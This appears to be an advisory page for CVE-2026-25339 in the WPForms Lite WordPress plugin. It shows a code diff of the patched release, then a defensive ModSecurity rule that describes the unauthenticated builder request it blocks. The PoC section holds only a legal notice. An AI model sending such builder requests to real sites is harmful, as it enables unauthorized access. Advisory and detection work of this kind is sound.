+		// Update context data, as 'to' email address could be changed by the filter above.
+		$this->context_data = [ 'to_email' => (array) $data['to'] ];
+
 		$entry_obj = wpforms()->obj( 'entry' );

 		// phpcs:ignore WPForms.Comments.PHPDocHooks.RequiredHookDocumentation, WPForms.PHP.ValidateHooks.InvalidHookName
@@ -521,18 +535,18 @@
 	 * Process a smart tag.
 	 * Decodes entities and sanitized (keeping line breaks) by default.
 	 *
-	 * @uses wpforms_decode_string()
+	 * @uses  wpforms_decode_string()
 	 *
 	 * @since 1.1.3
 	 * @since 1.6.0 Deprecated 2 params: $sanitize, $linebreaks.
 	 *
-	 * @param string $string String that may contain tags.
+	 * @param string $content String that may contain tags.
 	 *
-	 * @return string
+	 * @return string|mixed
 	 */
-	public function process_tag( $string = '' ) {
+	public function process_tag( $content = '' ) {

-		return wpforms_process_smart_tags( $string, $this->form_data, $this->fields, $this->entry_id, 'email' );
+		return wpforms_process_smart_tags( $content, $this->form_data, $this->fields, $this->entry_id, 'email', $this->context_data );
 	}

 	/**
--- a/wpforms-lite/includes/fields/class-base.php
+++ b/wpforms-lite/includes/fields/class-base.php
@@ -7,6 +7,7 @@

 use WPFormsFormsFieldsBaseFrontend as FrontendBase;
 use WPFormsFormsFieldsHelpersRequirementsAlerts;
+use WPFormsFormsFieldsTraitsMultiFieldMenu as MultiFieldMenuTrait;
 use WPFormsFormsFieldsTraitsReadOnlyField as ReadOnlyFieldTrait;
 use WPFormsFormsIconChoices;
 use WPFormsIntegrationsAIHelpers as AIHelpers;
@@ -18,6 +19,7 @@
  */
 abstract class WPForms_Field {

+	use MultiFieldMenuTrait;
 	use ReadOnlyFieldTrait;

 	/**
@@ -115,7 +117,7 @@
 	 *
 	 * @since 1.1.1
 	 *
-	 * @var int|bool
+	 * @var int|false
 	 */
 	public $form_id;

@@ -1472,7 +1474,7 @@
 			case 'choices':
 				$values       = ! empty( $field['choices'] ) ? $field['choices'] : $this->defaults;
 				$label        = ! empty( $args['label'] ) ? esc_html( $args['label'] ) : esc_html__( 'Choices', 'wpforms-lite' );
-				$class        = [];
+				$class        = [ 'wpforms-undo-redo-container' ];
 				$field_type   = $this->type;
 				$inline_style = '';

@@ -1526,9 +1528,12 @@
 					false
 				);

+				$id = 'wpforms-field-option-' . wpforms_validate_field_id( $field['id'] ) . '-choices-list';
+
 				// Field contents.
 				$fld = sprintf(
-					'<ul data-next-id="%s" class="choices-list %s" data-field-id="%s" data-field-type="%s" style="%s">',
+					'<ul id="%1$s" data-next-id="%2$s" class="choices-list %3$s" data-field-id="%4$s" data-field-type="%5$s" style="%6$s">',
+					esc_attr( $id ),
 					max( array_keys( $values ) ) + 1,
 					wpforms_sanitize_classes( $class, true ),
 					wpforms_validate_field_id( $field['id'] ),
@@ -1554,6 +1559,8 @@
 					$remove_class = $is_other_option ? 'remove wpforms-disabled' : 'remove';
 					$move_class   = $is_other_option ? 'move wpforms-disabled' : 'move';

+					$fld .= sprintf( '<span class="%s"><i class="fa fa-grip-lines"></i></span>', esc_attr( $move_class ) );
+
 					$fld .= sprintf(
 						'<input type="%s" name="%s[default]" class="default" value="1" %s>',
 						$field_type === 'checkbox' ? 'checkbox' : 'radio',
@@ -1561,8 +1568,6 @@
 						checked( '1', $default, false )
 					);

-					$fld .= sprintf( '<span class="%s"><i class="fa fa-bars"></i></span>', esc_attr( $move_class ) );
-
 					/**
 					 * Fires before the field choice label.
 					 *
@@ -1574,7 +1579,7 @@
 					 * @param array  $field   Field settings.
 					 * @param array  $args    Field options.
 					 */
-					$fld .= (string) apply_filters( 'wpforms_field_option_choice_before_label', '', $key, $value, $field, $args );
+					$fld .= apply_filters( 'wpforms_field_option_choice_before_label', '', $key, $value, $field, $args );

 					$fld .= sprintf(
 						'<input type="text" name="%s[label]" value="%s" class="label">',
@@ -1593,9 +1598,23 @@
 					 * @param array  $field   Field settings.
 					 * @param array  $args    Field options.
 					 */
-					$fld .= (string) apply_filters( 'wpforms_field_option_choice_after_label', '', $key, $value, $field, $args );
+					$fld .= apply_filters( 'wpforms_field_option_choice_after_label', '', $key, $value, $field, $args );

 					$fld .= sprintf( '<a class="%s" href="#"><i class="fa fa-plus-circle"></i></a><a class="%s" href="#"><i class="fa fa-minus-circle"></i></a>', esc_attr( $add_class ), esc_attr( $remove_class ) );
+
+					/**
+					 * Fires after the field choice label.
+					 *
+					 * @since 1.9.9
+					 *
+					 * @param string $output  Output string.
+					 * @param int    $key     Choice key.
+					 * @param array  $value   Choice value.
+					 * @param array  $field   Field settings.
+					 * @param array  $args    Field options.
+					 */
+					$fld .= apply_filters( 'wpforms_field_option_choice_after_controls', '', $key, $value, $field, $args );
+
 					$fld .= sprintf(
 						'<input type="text" name="%s[value]" value="%s" class="value">',
 						esc_attr( $base ),
@@ -1701,7 +1720,7 @@
 			 */
 			case 'choices_payments':
 				$values       = ! empty( $field['choices'] ) ? $field['choices'] : $this->defaults;
-				$class        = [];
+				$class        = [ 'wpforms-undo-redo-container' ];
 				$input_type   = in_array( $field['type'], [ 'payment-multiple', 'payment-select' ], true ) ? 'radio' : 'checkbox';
 				$inline_style = '';

@@ -1728,9 +1747,12 @@
 					false
 				);

+				$id = 'wpforms-field-option-' . wpforms_validate_field_id( $field['id'] ) . '-choices-list';
+
 				// Field contents.
 				$fld = sprintf(
-					'<ul data-next-id="%s" class="choices-list %s" data-field-id="%s" data-field-type="%s" style="%s">',
+					'<ul id="%1$s" data-next-id="%2$s" class="choices-list %3$s" data-field-id="%4$s" data-field-type="%5$s" style="%6$s">',
+					esc_attr( $id ),
 					max( array_keys( $values ) ) + 1,
 					wpforms_sanitize_classes( $class, true ),
 					wpforms_validate_field_id( $field['id'] ),
@@ -1747,13 +1769,13 @@
 					$icon_style     = ! empty( $value['icon_style'] ) ? $value['icon_style'] : IconChoices::DEFAULT_ICON_STYLE;

 					$fld .= '<li data-key="' . absint( $key ) . '">';
+					$fld .= '<span class="move"><i class="fa fa-grip-lines"></i></span>';
 					$fld .= sprintf(
 						'<input type="%s" name="%s[default]" class="default" value="1" %s>',
 						esc_attr( $input_type ),
 						esc_attr( $base ),
 						checked( '1', $default, false )
 					);
-					$fld .= '<span class="move"><i class="fa fa-grip-lines"></i></span>';
 					$fld .= sprintf(
 						'<input type="text" name="%s[label]" value="%s" class="label">',
 						esc_attr( $base ),
@@ -1853,7 +1875,7 @@
 				break;

 			/*
-			 * Other Placeholder (for "Other" choice input field).
+			 * Other Placeholder (for the "Other" choice input field).
 			 */
 			case 'other_placeholder':
 				$label = $this->field_element(
@@ -2806,8 +2828,10 @@
 			 * @param object $this  WPForms_Field object.
 			 */
 			do_action( "wpforms_field_options_before_{$option}", $field, $this );
+
 			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 			echo $output;
+
 			/**
 			 * Fires after the field option output.
 			 *
@@ -2822,10 +2846,26 @@
 		}

 		if ( $markup === 'open' ) {
+			/**
+			 * Fires before the field option output.
+			 *
+			 * @since 1.0.2
+			 *
+			 * @param array  $field Field data and settings.
+			 * @param object $this  WPForms_Field object.
+			 */
 			do_action( "wpforms_field_options_before_{$option}", $field, $this );
 		}

 		if ( $markup === 'close' ) {
+			/**
+			 * Fires at the bottom of the field option output.
+			 *
+			 * @since 1.0.2
+			 *
+			 * @param array  $field Field data and settings.
+			 * @param object $this  WPForms_Field object.
+			 */
 			do_action( "wpforms_field_options_bottom_{$option}", $field, $this );
 		}

@@ -2833,10 +2873,26 @@
 		echo $output;

 		if ( $markup === 'open' ) {
+			/**
+			 * Fires at the top of the field option output.
+			 *
+			 * @since 1.0.2
+			 *
+			 * @param array  $field Field data and settings.
+			 * @param object $this  WPForms_Field object.
+			 */
 			do_action( "wpforms_field_options_top_{$option}", $field, $this );
 		}

 		if ( $markup === 'close' ) {
+			/**
+			 * Fires after the field option output.
+			 *
+			 * @since 1.0.2
+			 *
+			 * @param array  $field Field data and settings.
+			 * @param object $this  WPForms_Field object.
+			 */
 			do_action( "wpforms_field_options_after_{$option}", $field, $this );
 		}

@@ -2844,7 +2900,7 @@
 	}

 	/**
-	 * Get choice images hide option field element.
+	 * Get choice images hide an option field element.
 	 *
 	 * @since 1.9.8.3
 	 *
@@ -2989,21 +3045,30 @@
 							$total_obj = wp_count_posts( $field['dynamic_post_type'] );
 							$total     = isset( $total_obj->publish ) ? (int) $total_obj->publish : 0;
 							$values    = [];
-							$posts     = wpforms_get_hierarchical_object(
-								apply_filters( // phpcs:ignore WPForms.PHP.ValidateHooks.InvalidHookName, WPForms.Comments.PHPDocHooks.RequiredHookDocumentation, WPForms.Comments.SinceTagHooks.MissingSinceTag
-									'wpforms_dynamic_choice_post_type_args',
-									[
-										'post_type'      => $field['dynamic_post_type'],
-										'posts_per_page' => 20,
-										'orderby'        => 'title',
-										'order'          => 'ASC',
-									],
-									$field,
-									$this->form_id
-								),
-								true
+
+							/**
+							 * Filters dynamic choice taxonomy args.
+							 *
+							 * @since 1.5.0
+							 *
+							 * @param array     $args    Arguments.
+							 * @param array     $field   Field.
+							 * @param int|false $form_id Form ID.
+							 */
+							$args = apply_filters( // phpcs:ignore WPForms.PHP.ValidateHooks.InvalidHookName, WPForms.Comments.PHPDocHooks.RequiredHookDocumentation, WPForms.Comments.SinceTagHooks.MissingSinceTag
+								'wpforms_dynamic_choice_post_type_args',
+								[
+									'post_type'      => $field['dynamic_post_type'],
+									'posts_per_page' => 20,
+									'orderby'        => 'title',
+									'order'          => 'ASC',
+								],
+								$field,
+								$this->form_id
 							);

+							$posts = wpforms_get_hierarchical_object( $args, true );
+
 							foreach ( $posts as $post ) {
 								$values[] = [
 									'label' => esc_html( wpforms_get_post_title( $post ) ),
@@ -3015,20 +3080,29 @@
 							// Taxonomy dynamic populating.
 							$total  = (int) wp_count_terms( $field['dynamic_taxonomy'] );
 							$values = [];
-							$terms  = wpforms_get_hierarchical_object(
-								apply_filters(
-									'wpforms_dynamic_choice_taxonomy_args',
-									[
-										'taxonomy'   => $field['dynamic_taxonomy'],
-										'hide_empty' => false,
-										'number'     => 20,
-									],
-									$field,
-									$this->form_id
-								),
-								true
+
+							/**
+							 * Filters dynamic choice taxonomy args.
+							 *
+							 * @since 1.5.0
+							 *
+							 * @param array     $args    Arguments.
+							 * @param array     $field   Field.
+							 * @param int|false $form_id Form ID.
+							 */
+							$args = apply_filters( // phpcs:ignore WPForms.PHP.ValidateHooks.InvalidHookName
+								'wpforms_dynamic_choice_taxonomy_args',
+								[
+									'taxonomy'   => $field['dynamic_taxonomy'],
+									'hide_empty' => false,
+									'number'     => 20,
+								],
+								$field,
+								$this->form_id
 							);

+							$terms = wpforms_get_hierarchical_object( $args, true );
+
 							foreach ( $terms as $term ) {
 								$values[] = [
 									'label' => esc_html( wpforms_get_term_name( $term ) ),
@@ -3246,7 +3320,7 @@

 					$output .= '</ul>';

-					// Multiple choice: Other option.
+					// Multiple choice: Another option.
 					if ( $type === 'radio' ) {

 						$placeholder   = ! empty( $field['other_placeholder'] ) ? $field['other_placeholder'] : '';
@@ -3421,6 +3495,9 @@

 		$preview .= sprintf( '<a href="#" class="wpforms-field-delete" title="%s"><i class="fa fa-trash-o"></i></a>', esc_attr__( 'Delete Field', 'wpforms-lite' ) );

+		// Multi-field actions menu.
+		$preview .= $this->get_multi_field_menu_html();
+
 		if ( ! $field_helper_hide ) {
 			$preview .= sprintf(
 				'<div class="wpforms-field-helper">
@@ -3737,7 +3814,7 @@
 	 */
 	public function field_html_value_images( $filtering, string $context, array $field ): bool {

-		// Bail if images are hidden and not in entry-preview context.
+		// Bail if images are hidden and not in the entry-preview context.
 		if ( ! empty( $field['choices_images_hide'] ) && $context !== 'entry-preview' ) {
 			return false;
 		}
@@ -3972,7 +4049,14 @@
 	 */
 	protected function is_choicesjs_search_enabled( $choices_count ) {

-		// We should auto hide/remove search, if less than 8 choices.
+		/**
+		 * Allow modifying the minimum number of choices to show the search area.
+		 * We should auto hide/remove search, if less than 8 choices by default.
+		 *
+		 * @since 1.6.4
+		 *
+		 * @param int $min_choices Minimum number of choices to show the search area.
+		 */
 		return $choices_count >= (int) apply_filters( 'wpforms_field_choicesjs_search_enabled_items_min', 8 );
 	}

--- a/wpforms-lite/includes/functions/forms.php
+++ b/wpforms-lite/includes/functions/forms.php
@@ -502,17 +502,19 @@
  * Process smart tags.
  *
  * @since 1.7.1
- * @since 1.8.7 Added `$context` parameter.
+ * @since 1.8.7     Added `$context` parameter.
+ * @since 1.9.9.2 Added `$context` parameter.
  *
- * @param string $content   Content.
- * @param array  $form_data Form data.
- * @param array  $fields    List of fields.
- * @param string $entry_id  Entry ID.
- * @param string $context   Context.
+ * @param string $content      Content.
+ * @param array  $form_data    Form data.
+ * @param array  $fields       List of fields.
+ * @param string $entry_id     Entry ID.
+ * @param string $context      Context.
+ * @param array  $context_data Context data.
  *
- * @return string
+ * @return string|mixed
  */
-function wpforms_process_smart_tags( $content, $form_data, $fields = [], $entry_id = '', $context = '' ) {
+function wpforms_process_smart_tags( $content, $form_data, $fields = [], $entry_id = '', $context = '', array $context_data = [] ) {

 	// Skip it if variables have invalid format.
 	if ( ! is_string( $content ) || ! is_array( $form_data ) || ! is_array( $fields ) ) {
@@ -525,15 +527,16 @@
 	 * @since 1.4.0
 	 * @since 1.8.7 Added $context parameter.
 	 *
-	 * @param string $content   Content.
-	 * @param array  $form_data Form data.
-	 * @param array  $fields    List of fields.
-	 * @param string $entry_id  Entry ID.
-	 * @param string $context   Context.
+	 * @param string $content      Content.
+	 * @param array  $form_data    Form data.
+	 * @param array  $fields       List of fields.
+	 * @param string $entry_id     Entry ID.
+	 * @param string $context      Context.
+	 * @param array  $context_data Context data.
 	 *
 	 * @return string
 	 */
-	return apply_filters( 'wpforms_process_smart_tags', $content, $form_data, $fields, $entry_id, $context );
+	return (string) apply_filters( 'wpforms_process_smart_tags', $content, $form_data, $fields, $entry_id, $context, $context_data );
 }

 /**
--- a/wpforms-lite/includes/functions/utilities.php
+++ b/wpforms-lite/includes/functions/utilities.php
@@ -14,9 +14,24 @@
  *
  * @return string
  */
-function wpforms_get_min_suffix() {
+function wpforms_get_min_suffix(): string {

-	return wpforms_debug() ? '' : '.min';
+	$script_debug = false;
+
+	if ( ( defined( 'WPFORMS_SCRIPT_DEBUG' ) && WPFORMS_SCRIPT_DEBUG ) && is_super_admin() ) {
+		$script_debug = true;
+	}
+
+	/**
+	 * Filters wpforms script debug status.
+	 *
+	 * @since 1.9.9
+	 *
+	 * @param bool $script_debug WPForms script debug status.
+	 */
+	$script_debug = (bool) apply_filters( 'wpforms_script_debug', $script_debug );
+
+	return $script_debug ? '' : '.min';
 }

 /**
--- a/wpforms-lite/includes/integrations.php
+++ b/wpforms-lite/includes/integrations.php
@@ -8,6 +8,8 @@
  * Register and setup WPForms as a Visual Composer element.
  *
  * @since 1.3.0
+ *
+ * @noinspection PhpUndefinedFunctionInspection
  */
 function wpforms_visual_composer_shortcode() {

@@ -15,7 +17,13 @@
 		return;
 	}

-	$wpf = wpforms()->obj( 'form' )->get(
+	$form_obj = wpforms()->obj( 'form' );
+
+	if ( ! $form_obj ) {
+		return;
+	}
+
+	$wpf = $form_obj->get(
 		'',
 		[
 			'orderby' => 'title',
@@ -58,6 +66,7 @@
 					'heading'     => esc_html__( 'Display Form Name', 'wpforms-lite' ),
 					'param_name'  => 'title',
 					'value'       => [
+						// phpcs:ignore WordPress.Arrays.MultipleStatementAlignment.DoubleArrowNotAligned
 						esc_html__( 'No', 'wpforms-lite' )  => 'false',
 						esc_html__( 'Yes', 'wpforms-lite' ) => 'true',
 					],
@@ -73,6 +82,7 @@
 					'heading'     => esc_html__( 'Display Form Description', 'wpforms-lite' ),
 					'param_name'  => 'description',
 					'value'       => [
+						// phpcs:ignore WordPress.Arrays.MultipleStatementAlignment.DoubleArrowNotAligned
 						esc_html__( 'No', 'wpforms-lite' )  => 'false',
 						esc_html__( 'Yes', 'wpforms-lite' ) => 'true',
 					],
@@ -96,11 +106,13 @@
  */
 function wpforms_visual_composer_shortcode_css() {

+	$min = wpforms_get_min_suffix();
+
 	// Load CSS per global setting.
 	if ( wpforms_setting( 'disable-css', '1' ) === '1' ) {
 		wp_enqueue_style(
 			'wpforms-full',
-			WPFORMS_PLUGIN_URL . 'assets/css/frontend/classic/wpforms-full.css',
+			WPFORMS_PLUGIN_URL . "assets/css/frontend/classic/wpforms-full{$min}.css",
 			[],
 			WPFORMS_VERSION
 		);
@@ -109,7 +121,7 @@
 	if ( wpforms_setting( 'disable-css', '1' ) === '2' ) {
 		wp_enqueue_style(
 			'wpforms-base',
-			WPFORMS_PLUGIN_URL . 'assets/css/frontend/classic/wpforms-base.css',
+			WPFORMS_PLUGIN_URL . "assets/css/frontend/classic/wpforms-base{$min}.css",
 			[],
 			WPFORMS_VERSION
 		);
--- a/wpforms-lite/includes/templates/class-base.php
+++ b/wpforms-lite/includes/templates/class-base.php
@@ -1,5 +1,8 @@
 <?php

+// phpcs:ignore Generic.Commenting.DocComment.MissingShort
+/** @noinspection AutoloadingIssuesInspection */
+
 /**
  * Base form template.
  *
@@ -8,7 +11,7 @@
 abstract class WPForms_Template {

 	/**
-	 * Full name of the template, eg "Contact Form".
+	 * Full name of the template, e.g. "Contact Form".
 	 *
 	 * @since 1.0.0
 	 *
@@ -17,7 +20,7 @@
 	public $name;

 	/**
-	 * Slug of the template, eg "contact-form" - no spaces.
+	 * Slug of the template, e.g. "contact-form" - no spaces.
 	 *
 	 * @since 1.0.0
 	 *
@@ -44,7 +47,7 @@
 	public $categories;

 	/**
-	 * Short description the template.
+	 * Short description of the template.
 	 *
 	 * @since 1.0.0
 	 *
@@ -80,7 +83,7 @@
 	public $url = '';

 	/**
-	 * Form template thumbnail url.
+	 * Form template thumbnail URL.
 	 *
 	 * @since 1.8.2
 	 *
@@ -134,12 +137,8 @@
 		// Bootstrap.
 		$this->init();

-		$type = $this->core ? '_core' : '';
-
-		add_filter( "wpforms_form_templates{$type}", [ $this, 'template_details' ], $this->priority );
-		add_filter( 'wpforms_create_form_args', [ $this, 'template_data' ], 10, 2 );
-		add_filter( 'wpforms_save_form_args', [ $this, 'template_replace' ], 10, 3 );
-		add_filter( 'wpforms_builder_template_active', [ $this, 'template_active' ], 10, 2 );
+		// Hooks.
+		$this->hooks();
 	}

 	/**
@@ -150,15 +149,32 @@
 	public function init() {}

 	/**
+	 * Register hooks.
+	 *
+	 * @since 1.9.9
+	 */
+	private function hooks(): void {
+
+		$type = $this->core ? '_core' : '';
+
+		add_filter( "wpforms_form_templates{$type}", [ $this, 'template_details' ], $this->priority );
+		add_filter( 'wpforms_create_form_args', [ $this, 'template_data' ], 10, 2 );
+		add_filter( 'wpforms_save_form_args', [ $this, 'template_replace' ], 10, 3 );
+		add_filter( 'wpforms_builder_template_active', [ $this, 'template_active' ], 10, 2 );
+	}
+
+	/**
 	 * Add basic template details to the Add New Form admin screen.
 	 *
 	 * @since 1.0.0
 	 *
-	 * @param array $templates Templates array.
+	 * @param array|mixed $templates Templates array.
 	 *
 	 * @return array
 	 */
-	public function template_details( $templates ) {
+	public function template_details( $templates ): array {
+
+		$templates = (array) $templates;

 		$templates[] = [
 			'name'        => $this->name,
@@ -177,7 +193,7 @@
 	}

 	/**
-	 * Get the directory name of the plugin in which current template resides.
+	 * Get the directory name of the plugin in which the current template resides.
 	 *
 	 * @since 1.6.9
 	 *
@@ -197,7 +213,7 @@
 	}

 	/**
-	 * Add template data when form is created.
+	 * Add template data when a form is created.
 	 *
 	 * @since 1.0.0
 	 *
@@ -230,7 +246,7 @@
 	}

 	/**
-	 * Replace template on post update if triggered.
+	 * Replace the template on post update if triggered.
 	 *
 	 * @since 1.0.0
 	 *
@@ -239,6 +255,7 @@
 	 * @param array $args Update form arguments.
 	 *
 	 * @return array
+	 * @noinspection PhpMissingParamTypeInspection
 	 */
 	public function template_replace( $form, $data, $args ): array {

@@ -257,7 +274,7 @@
 			return $form;
 		}

-		// Compile the new form data preserving needed data from the existing form.
+		// Compile the new form data while preserving the necessary data from the existing form.
 		$new             = $this->data;
 		$new['id']       = $form_data['id'] ?? 0;
 		$new['settings'] = $form_data['settings'] ?? [];
@@ -266,7 +283,7 @@

 		$template_id = $this->data['meta']['template'] ?? '';

-		// Preserve template ID `wpforms-user-template-{$form_id}` when overwriting it with core template.
+		// Preserve template ID `wpforms-user-template-{$form_id}` when overwriting it with the core template.
 		if ( wpforms_is_form_template( $form['ID'] ) ) {
 			$template_id = $form_data['meta']['template'] ?? '';
 		}
@@ -295,25 +312,27 @@
 	 *
 	 * @since 1.0.0
 	 *
-	 * @param array  $details Details.
-	 * @param object $form    Form data.
+	 * @param array|mixed        $details Details.
+	 * @param WP_Post|null|false $form    Form data.
 	 *
-	 * @return array|void
+	 * @return array
 	 */
-	public function template_active( $details, $form ) {
+	public function template_active( $details, $form ): array {

-		if ( empty( $form ) ) {
-			return;
+		$details = (array) $details;
+
+		if ( ! $form ) {
+			return [];
 		}

 		$form_data = wpforms_decode( $form->post_content );

 		if ( empty( $this->modal ) || empty( $form_data['meta']['template'] ) || $this->slug !== $form_data['meta']['template'] ) {
 			return $details;
-		} else {
-			$display = $this->template_modal_conditional( $form_data );
 		}

+		$display = $this->template_modal_conditional( $form_data );
+
 		return [
 			'name'          => $this->name,
 			'slug'          => $this->slug,
@@ -326,8 +345,8 @@
 	}

 	/**
-	 * Conditional to determine if the template informational modal screens
-	 * should display.
+	 * Conditional logic to determine whether the template informational modal screens
+	 * should be displayed.
 	 *
 	 * @since 1.0.0
 	 *
--- a/wpforms-lite/lite/wpforms-lite.php
+++ b/wpforms-lite/lite/wpforms-lite.php
@@ -752,7 +752,7 @@
 					<li><?php esc_html_e( 'Accept user-submitted content with the Post Submissions addon', 'wpforms-lite' ); ?></li>
 				</ul>
 				<ul>
-					<li><?php esc_html_e( '7000+ integrations with marketing and payment services', 'wpforms-lite' ); ?></li>
+					<li><?php esc_html_e( '9000+ integrations with marketing and payment services', 'wpforms-lite' ); ?></li>
 					<li><?php esc_html_e( 'Let users save & resume submissions to prevent abandonment', 'wpforms-lite' ); ?></li>
 					<li><?php esc_html_e( 'Take payments with Stripe, PayPal, Square, & Authorize.Net', 'wpforms-lite' ); ?></li>
 					<li><?php esc_html_e( 'Export entries to Google Sheets, Excel, and CSV', 'wpforms-lite' ); ?></li>
--- a/wpforms-lite/src/Admin/Builder/Addons.php
+++ b/wpforms-lite/src/Admin/Builder/Addons.php
@@ -34,6 +34,13 @@
 		'surveys-polls' => [
 			'survey',
 		],
+		'quiz'          => [
+			'quiz_enabled',
+			'choices' => [
+				'quiz_personality',
+				'quiz_weight',
+			],
+		],
 	];

 	/**
@@ -184,6 +191,43 @@
 				$new_field[ $setting_name ] = $setting_value;
 			}
 		}
+
+		if (
+			! empty( $preserve_fields['choices'] ) &&
+			is_array( $preserve_fields['choices'] ) &&
+			! empty( $new_field['choices'] ) &&
+			is_array( $new_field['choices'] )
+		) {
+			$this->preserve_addon_field_choices_settings( $preserve_fields['choices'], $new_field, $previous_field );
+		}
+	}
+
+	/**
+	 * Preserve addon field choices settings.
+	 *
+	 * @since 1.9.9
+	 *
+	 * @param array $choice_settings Choice settings.
+	 * @param array $new_field       Previous form fields settings.
+	 * @param array $previous_field  Form fields settings.
+	 *
+	 * @return void
+	 */
+	private function preserve_addon_field_choices_settings( array $choice_settings, array &$new_field, array $previous_field ): void {
+
+		if ( ! isset( $previous_field['choices'] ) || ! is_array( $previous_field['choices'] ) ) {
+			return;
+		}
+
+		$previous_choices = $previous_field['choices'];
+
+		foreach ( $new_field['choices'] as $choice_id => $choice ) {
+			foreach ( $choice_settings as $setting_name ) {
+				if ( isset( $previous_choices[ $choice_id ][ $setting_name ] ) ) {
+					$new_field['choices'][ $choice_id ][ $setting_name ] = $previous_choices[ $choice_id ][ $setting_name ];
+				}
+			}
+		}
 	}

 	/**
--- a/wpforms-lite/src/Admin/Builder/Help.php
+++ b/wpforms-lite/src/Admin/Builder/Help.php
@@ -190,6 +190,7 @@
 			'settings/webhooks'                       => 'webhooks',
 			'settings/entry_automation'               => 'entry automation',
 			'settings/pdf'                            => 'pdf',
+			'settings/quiz'                           => 'quiz',
 			'providers'                               => '',
 			'providers/aweber'                        => 'aweber',
 			'providers/activecampaign'                => 'activecampaign',
@@ -1284,6 +1285,9 @@
 			'airtable'                  => [
 				'/docs/airtable-addon/',
 			],
+			'quiz'                      => [
+				'/docs/quiz-addon/',
+			],
 		];
 	}

--- a/wpforms-lite/src/Admin/Builder/Settings/Themes.php
+++ b/wpforms-lite/src/Admin/Builder/Settings/Themes.php
@@ -153,7 +153,7 @@

 		wp_enqueue_style(
 			'wpforms-full',
-			WPFORMS_PLUGIN_URL . 'assets/css/frontend/modern/wpforms-full.css',
+			WPFORMS_PLUGIN_URL . "assets/css/frontend/modern/wpforms-full{$min}.css",
 			[],
 			WPFORMS_VERSION
 		);
@@ -201,6 +201,7 @@
 	 * @param string $slug    Sidebar section slug.
 	 *
 	 * @return array
+	 * @noinspection PhpUnusedParameterInspection
 	 */
 	public function add_pro_class( array $classes, string $name, string $slug ): array {

@@ -252,7 +253,7 @@
 				],
 				'permission_modal'         => [
 					'title'   => esc_html__( 'Insufficient Permissions', 'wpforms-lite' ),
-					'content' => esc_html__( 'Sorry, your user role doesn't have permission to access this feature.', 'wpforms-lite' ),
+					'content' => esc_html__( "Sorry, your user role doesn't have permission to access this feature.", 'wpforms-lite' ),
 					'confirm' => esc_html__( 'OK', 'wpforms-lite' ),
 				],
 			],
--- a/wpforms-lite/src/Admin/Builder/Shortcuts.php
+++ b/wpforms-lite/src/Admin/Builder/Shortcuts.php
@@ -14,9 +14,9 @@
 	 *
 	 * @since 1.6.9
 	 */
-	public function init() {
+	public function init(): void {

-		// Terminate initialization if not in builder.
+		// Terminate initialization if not in the builder.
 		if ( ! wpforms_is_admin_page( 'builder' ) ) {
 			return;
 		}
@@ -29,20 +29,20 @@
 	 *
 	 * @since 1.6.9
 	 */
-	private function hooks() {
+	private function hooks(): void {

-		add_filter( 'wpforms_builder_strings', [ $this, 'builder_strings' ], 10, 2 );
+		add_filter( 'wpforms_builder_strings', [ $this, 'builder_strings' ] );
 		add_action( 'wpforms_admin_page', [ $this, 'output' ], 30 );
 	}

 	/**
-	 * Get shortcuts list.
+	 * Get a shortcut list.
 	 *
 	 * @since 1.6.9
 	 *
 	 * @return array
 	 */
-	private function get_list() {
+	private function get_list(): array {

 		return [
 			'left'  => [
@@ -50,12 +50,18 @@
 				'ctrl p' => __( 'Preview Form', 'wpforms-lite' ),
 				'ctrl b' => __( 'Embed Form', 'wpforms-lite' ),
 				'ctrl f' => __( 'Search Fields', 'wpforms-lite' ),
+				'ctrl c' => __( 'Copy Fields', 'wpforms-lite' ),
+				'ctrl v' => __( 'Paste Fields', 'wpforms-lite' ),
+				'd'      => __( 'Duplicate Fields', 'wpforms-lite' ),
 			],
 			'right' => [
-				'ctrl h' => __( 'Open Help', 'wpforms-lite' ),
-				'ctrl t' => __( 'Toggle Sidebar', 'wpforms-lite' ), // It is 'alt s' on Windows/Linux, dynamically changed in the modal in admin-builder.js openKeyboardShortcutsModal().
-				'ctrl e' => __( 'View Entries', 'wpforms-lite' ),
-				'ctrl q' => __( 'Close Builder', 'wpforms-lite' ),
+				'ctrl z'       => __( 'Undo', 'wpforms-lite' ),
+				'ctrl shift z' => __( 'Redo', 'wpforms-lite' ),
+				'ctrl h'       => __( 'Open Help', 'wpforms-lite' ),
+				'ctrl t'       => __( 'Toggle Sidebar', 'wpforms-lite' ), // It is 'alt s' on Windows/Linux, dynamically changed in the modal in admin-builder.js openKeyboardShortcutsModal().
+				'ctrl e'       => __( 'View Entries', 'wpforms-lite' ),
+				'ctrl q'       => __( 'Close Builder', 'wpforms-lite' ),
+				'delete'       => __( 'Delete Fields', 'wpforms-lite' ),
 			],
 		];
 	}
@@ -65,12 +71,13 @@
 	 *
 	 * @since 1.6.9
 	 *
-	 * @param array         $strings Form Builder strings.
-	 * @param WP_Post|bool $form    Form object.
+	 * @param array|mixed $strings Form Builder strings.
 	 *
 	 * @return array
 	 */
-	public function builder_strings( $strings, $form ) {
+	public function builder_strings( $strings ): array {
+
+		$strings = (array) $strings;

 		$strings['shortcuts_modal_title'] = esc_html__( 'Keyboard Shortcuts', 'wpforms-lite' );
 		$strings['shortcuts_modal_msg']   = esc_html__( 'Handy shortcuts for common actions in the builder.', 'wpforms-lite' );
@@ -83,7 +90,7 @@
 	 *
 	 * @since 1.6.9
 	 */
-	public function output() {
+	public function output(): void {

 		echo '
 		<script type="text/html" id="tmpl-wpforms-builder-keyboard-shortcuts">
@@ -95,19 

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-25339
SecRule REQUEST_URI "@rx /wp-admin/(admin.php|admin-ajax.php)" 
  "id:100025339,phase:2,deny,status:403,chain,msg:'CVE-2026-25339 - Unauthenticated WPForms Builder Access',severity:'CRITICAL',tag:'CVE-2026-25339',tag:'WPForms',tag:'WordPress'"
  SecRule ARGS_GET:page "@streq wpforms-builder" "chain"
    SecRule ARGS_GET:view "@rx ^(fields|setup)$" "chain"
      SecRule &ARGS_GET:form_id "!@eq 0" "chain"
        SecRule REQUEST_COOKIES:/^wordpress_logged_in_/ "@rx ^$"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

